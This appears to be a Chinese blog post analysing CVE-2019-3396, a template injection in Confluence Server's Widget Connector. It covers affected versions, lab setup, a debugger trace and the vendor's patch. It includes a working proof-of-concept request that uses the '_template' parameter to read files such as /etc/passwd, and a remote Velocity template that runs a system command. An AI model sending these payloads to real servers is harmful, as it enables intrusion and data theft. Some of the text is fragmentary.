参考:
https://jira.atlassian.com/browse/CONFSERVER-57974
https://github.com/kNownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py
https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-sstI-and-RCE-in-Confluence-Server-via-Widget-Connector/
https://paper.seebug.org/884/
详情:
服务端模版注入(Server-side Template Injection,sstI),影响组件Widget Connector(小工具连接器)。
影响版本:
6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本
影响组件:
Widget Connector <=3.1.3
修复版本
6.6.12
6.12.3
6.13.3
6.14.2
6.15.1
Poc
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: cqq.com:443
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/73.0.3670.0 Safari/537.36
Referer: https://cqq.com/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
或者改成file:///etc/passwd
读取passwd文件。网上有可以读passwd文件的,但是在本地搭建环境没有成功读到/etc/passwd。后来发现是跟版本有关。在6.13.0不能读取,而在6.9.0可以读取。
6.13.0:
Failed-when-calling-cloud-apis-826874382.html
文件包含,实现命令执行:
https://nosec.org/home/detail/2461.html
直接访问https页面,内容为:
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getmethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
https://pastebin.com/raw/X3WwMHgS
VeLocity Template Language (VTL) Statement
模板语句的语法参考:https://veLocity.apache.org/engine/devel/user-guide.html
Conluence安装
$ wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.0.tar.gz
$ tar zxf atlassian-confluence-6.13.0.tar.gz
$ cd atlassian-confluence-6.13.0
$ vi ./confluence/WEB-INF/classes/confluence-init.properties #设置confluence的home目录,这里我设置为
#confluence.home=/home/cqq/confluence
$ vi ./conf/server.xml
将这段外的注释去掉,
<Connector port="8090" connectionTimeout="20000" redirectPort="8443"
maxThreads="48" minSpareThreads="10"
enableLookups="false" acceptCount="10" debug="0" URIEncoding="UTF-8"
protocol="org.apache.coyote.http11.Http11NioProtocol"/>
然后就可以启动
$ bin/start-confluence.sh
之前都是安装MysqL比较多,这次换用postgresql。具体命令可参考:https://blog.csdn.net/zhangzeyuaaa/article/details/77941039
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
配置远程调试
在ubuntu上搭建运行环境,开启调试,
编辑bin/setenv.sh
。
添加:
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 ${CATALINA_OPTS}" # for debug
然后再启动confluence:
bin/start-confluence.sh
然后在Mac上复制一份代码,导入IDEA,然后在IDEA中设置将widgetconnector-3.1.2.jar
加入到Libraries中。这样中IDEA中这个jar包才可以展开!
参考:https://confluence.atlassian.com/doc/widget-connector-macro-171180449.html
插入(+)=> 其他宏 => 小工具连接器
功能时发的包里并没有_template
参数,需要手动加上。猜想这个漏洞应该是需要白盒审计才能发现吧。
定位一下,应该是这个jar包:
confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.2.jar
代码追踪
atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-rest-module-3.4.12.jar!/com/atlassian/plugins/rest/module/RestDelegatingServletFilter.class的doFilter方法。
,会调用以下代码,返回的响应content-type为"text/plain"
。
atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-6.9.0.jar!/com/atlassian/confluence/tinymceplugin/rest/MacroResource.class
beddedHtml() 方法
等到程序停在断点处之后,跟踪一下调用栈,
调用的是atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.0.jar!/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.class
的execute()
方法。
WidgetMacro.java
一个接口,DefaultRendererManager实现了它。
DefaultRendererManager.java
beddedHtml(url,params);
WidgetRenderer是一个接口,而YoutubeRenderer类实现了它。
YoutubeRenderer.java
DefaultVeLocityRenderService.java
默认值:com/atlassian/confluence/extra/widgetconnector/templates/embed.vm
否则这里从POST请求中的_template
的值取出来,传入template,然后将POST请求中的所有参数放入contextMap,然后调用getRenderedTemplate(template,contextMap);
renderTemplateWithoutSwallowingErrors((String)templateName,context,writer);
- 1
然后一路各种getTemplate(),来到
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/veLocity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/RuntimeInstance.class的getTemplate()方法。
内容写到writer中,然后在67行调用toString()方法将结果返回。
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/veLocity/ConfigurableResourceManager.class
的getResource()方法中,先
String resourceKey = resourceType + resourceName; //1https://pastebin.com/raw/0Kj4aX8G
Resource resource = this.globalCache.get(resourceKey); // 先从globalCache中找,结果没找到,返回null。
然后if (resource != null)判断失败,进入else逻辑,
resource = this.loadResource(resourceName,resourceType,encoding); //resourceName的值为 https://pastebin.com/raw/0Kj4aX8G
一个ConfluenceVeLocityTemplateImpl返回,
然后用四个Loader对resourceName进行轮番这样的:
InputStream resourceStream = resourceLoader.getResourceStream(resource.getName());
查询。
Locity.HibernateResourceLoader org.apache.veLocity.runtime.resource.loader.FileResourceLoader org.apache.veLocity.runtime.resource.loader.ClassPathResourceLoader com.atlassian.confluence.setup.veLocity.DynamicPluginResourceLoader
在atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/setup/veLocity/DecoratorName.class的isspaceDecoratorSource()方法中判断是否以@
开头,
Locity/VeLocity13CompatibleResourceLoader.class
的getResourceStream()方法,返回null:
com.atlassian.confluence.setup.veLocity.HibernateResourceLoader
没有拿到东西;接着往下,是第二个,
org.apache.veLocity.runtime.resource.loader.FileResourceLoader
:
一个File为/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/https:/pastebin.com/raw/0Kj4aX8G
,
最后抛出一个无法找到该文件的异常(因为有冒号,所以这个文件无法创建?):
_template
参数值设置为/
开头的绝对路径,//Todo,也可以正常地通过相对路径拿到文件内容。接着第三个,
org.apache.veLocity.runtime.resource.loader.ClassPathResourceLoader
(虽然IDEA中反编译的代码顺序都错了,但是还是得硬着头发继续跟…)
进入
result = ClassUtils.getResourceAsstream(this.getClass(),name);
在这个Loader里执行了HTTP请求!
重新跟了一下,发现是在
atlassian-confluence-6.9.0/lib/catalina.jar!/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsstream()方法的
stream = url.openStream();
这句话,真正打开了一个TCP连接,并发送这个url的请求,并将返回的数据赋值给stream。
Calling url.openStream() initiates a new TCP connection to the server that the URL resolves to. An HTTP GET request is then sent over the connection. If all goes right (i.e.,200 OK),the server sends back the HTTP response message that carries the data payload that is served up at the specified URL. You then need to read the bytes from the InputStream that the openStream() method returns in order to retrieve the data payload into your program.
来源:https://stackoverflow.com/questions/2778312/how-does-java-url-openstream-work
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/veLocity-1.6.4-atlassian-9.jar!/org/apache/veLocity/util/ClassUtils.class
Locity/VeLocityUtils.class的renderTemplateWithoutSwallowingErrors(String templateName,Context context,Writer writer)传入templateName为https://pastebin.com/raw/0Kj4aX8G
,执行
Template template = getTemplate(templateName);
拿到数据之后,赋值给template对象,接下来进行处理:
renderTemplateWithoutSwallowingErrors(template,writer);
具体的是这个方法的
template.merge(context,writer);
这句话。
跟进
((SimpleNode)this.data).render(ica,writer);
调用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/veLocity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/parser/node/SimpleNode.class
的render()方法进行渲染(解析得到的模板内容)
具体就是一些解析VTL语言表达式的详情了,
一个com.atlassian.confluence.setup.veLocity.HibernateResourceLoader,依然返回null,然后是第二个org.apache.veLocity.runtime.resource.loader.FileResourceLoader,
normalizePath()之后,变成了/file:/etc/passwd
。
inputStream = this.findTemplate(path,template);
方法。
经过拼接之后,file的值变成了/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/file:/etc/passwd
。这个file值不能canRead(),所以不能进入if (file.canRead())
,直接返回null。
The canRead()function is a part of File class in Java . This function determines whether the program can read the file denoted by the abstract path name.The function returns true if the abstract file path exists and the application is allowed to read the file.
nes/jdk1.8.0_191.jdk/Contents/Home/src.zip!/java/lang/ClassLoader.java
sstream()
Felix.framework-4.2.1.jar!/org/apache/Felix/framework/URLHandleRSStreamHandlerProxy.class的openConnection()
内容写到writer中,
对于../web.xml
的payload,
Locity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/parser/node/SimpleNode.class的
Locity-1.6.4-atlassian-9.jar!/org/apache/veLocity/runtime/parser/node/ASTSetDirective.class的render()方法。
Locity.runtime.parser.node.ASTReference
this.right为org.apache.veLocity.runtime.parser.node.ASTExpression
。
执行命令的过程就是一直调用org.apache.veLocity.runtime.parser.node.ASTReference
的execute()
方法的过程。
官方修复
下载atlassian-confluence-6.13.2(存在漏洞版)和atlassian-confluence-6.13.3(修复版)
提取其中的widgetconnector-3.1.3.jar和widgetconnector-3.1.4.jar,用jd导出java代码,然后用icdiff进行对比。(论好的diff工具的重要性!)
icdiff widgetconnector-3.1.3/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java widgetconnector-3.1.4/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java
一个列表,这个列表里有一个字符串,_template
,对于HTTP POST请求过来的参数parameter上进行解析时,去除掉_template
这个字段,从而杜绝了从_template
字段进行模板注入的风险。#Todo 对比其他jar包,查找有没有关于此漏洞或者其他方面的发现。
缓解措施
禁用几个插件,升级,然后重新开启。如果不能升级的话,就只能防火墙拦截了。
文件,可能是因为其使用了tomcat 9,导致classloader不一样。参考:
https://lucifaer.com/2019/04/16/Confluence%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-3396%EF%BC%89/#3-3-6-6-x-6-9-x%E4%B8%8E6-14-1%E7%9A%84%E5%8C%BA%E5%88%AB
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。